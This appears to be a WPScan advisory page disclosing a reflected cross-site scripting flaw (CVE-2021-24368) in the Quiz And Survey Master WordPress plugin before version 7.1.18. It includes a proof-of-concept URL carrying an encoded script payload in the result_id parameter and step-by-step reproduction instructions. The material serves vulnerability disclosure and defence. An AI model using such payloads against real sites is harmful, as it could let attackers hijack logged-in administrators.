WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Quiz And Survey Master < 7.1.18 - Reflected Cross-Site Scripting (XSS)

Description

The plugin did not sanitise or escape its result_id parameter when displaying an existing quiz result page, leading to a reflected Cross-Site Scripting issue. This could allow for privilege escalation by inducing a logged in admin to open a malicious link

Proof of Concept

https://example.com/quiz/test-quiz/?result_id=1597bc5d9f9a2c9659152522904df0c0%3C%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

Reproduction steps:

1) Create a quiz.
2) In the "results pages" tab add the %RESULT_LINK% template to display a link to your result when finishing the quiz.
3) Publish your quiz or click the preview button.
4) Take the quiz and copy your results link:

format: https://[wp-host]/quiz/[quiz-name]/?result_id=[result_id]

5) Append <"><script>alert(document.domain)</script> to the result_id and reload the page.

Note (WPScanTeam): As the affected function is hooked to the wp_head action, only the result_id is required to perform the attack, no need to go to the quiz page, ie https://example.com/?result_id=1597bc5d9f9a2c9659152522904df0c0%3C%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E 

Affects Plugins

quiz-master-next
Fixed in version 7.1.18

References

CVE
CVE-2021-24368

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

renniepak

Submitter

renniepak

Submitter twitter
renniepak
Verified

Yes

WPVDB ID
7f2fda5b-45a5-4fc6-968f-90bc9674c999

Timeline

Publicly Published

2021-06-03 (about 1 years ago)

Added

2021-06-03 (about 1 years ago)

Last Updated

2022-01-02 (about 6 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us